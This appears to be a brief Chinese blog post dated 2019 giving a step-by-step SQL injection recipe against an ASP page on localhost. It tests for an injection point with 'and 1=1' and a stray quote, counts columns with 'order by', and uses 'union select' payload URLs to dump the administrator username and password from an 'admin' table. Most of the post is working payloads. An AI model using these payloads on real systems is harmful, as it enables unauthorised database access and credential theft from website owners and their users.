1.判断有无注入点:
http://127.0.0.1/index.asp?id=1 and 1=1
http://127.0.0.1/index.asp?id=1 and 1=2
http://127.0.0.1/index.asp?id=1′
2.猜字段数:
http://127.0.0.1/index.asp?id=1 order by 字段数
例如: http://127.0.0.1/?id=index.asp? order by 11
http://127.0.0.1/?id=index.asp? order by 12
order by 11页面显示正常 order by 12 页面报错所以字段为11
3.暴露管理员用户、密码:
http://127.0.0.1/index.asp?id=1 union select 1,2,3,4,5,6,7,8,9,10,11 from admin
1、在链接后面添加语句【union select 1,2,3,4,5,6,7,8,9,10,11 from admin】,页面显示数字为2和3
2、在链接后面添加语句【union select 1,admin,password,4,5,6,7,8,9,10,11 from admin】即可暴露管理员用户名和密码
http://127.0.0.1/index.asp?id=1 union select 1,admin,password,4,5,6,7,8,9,10,11 from admin
3、到此,即可知道管理员用户名:admin和密码:123456
>>>比较老的一种sql注入.大佬勿喷
SQL注入语法
- 发表于2019/6/26 18:15
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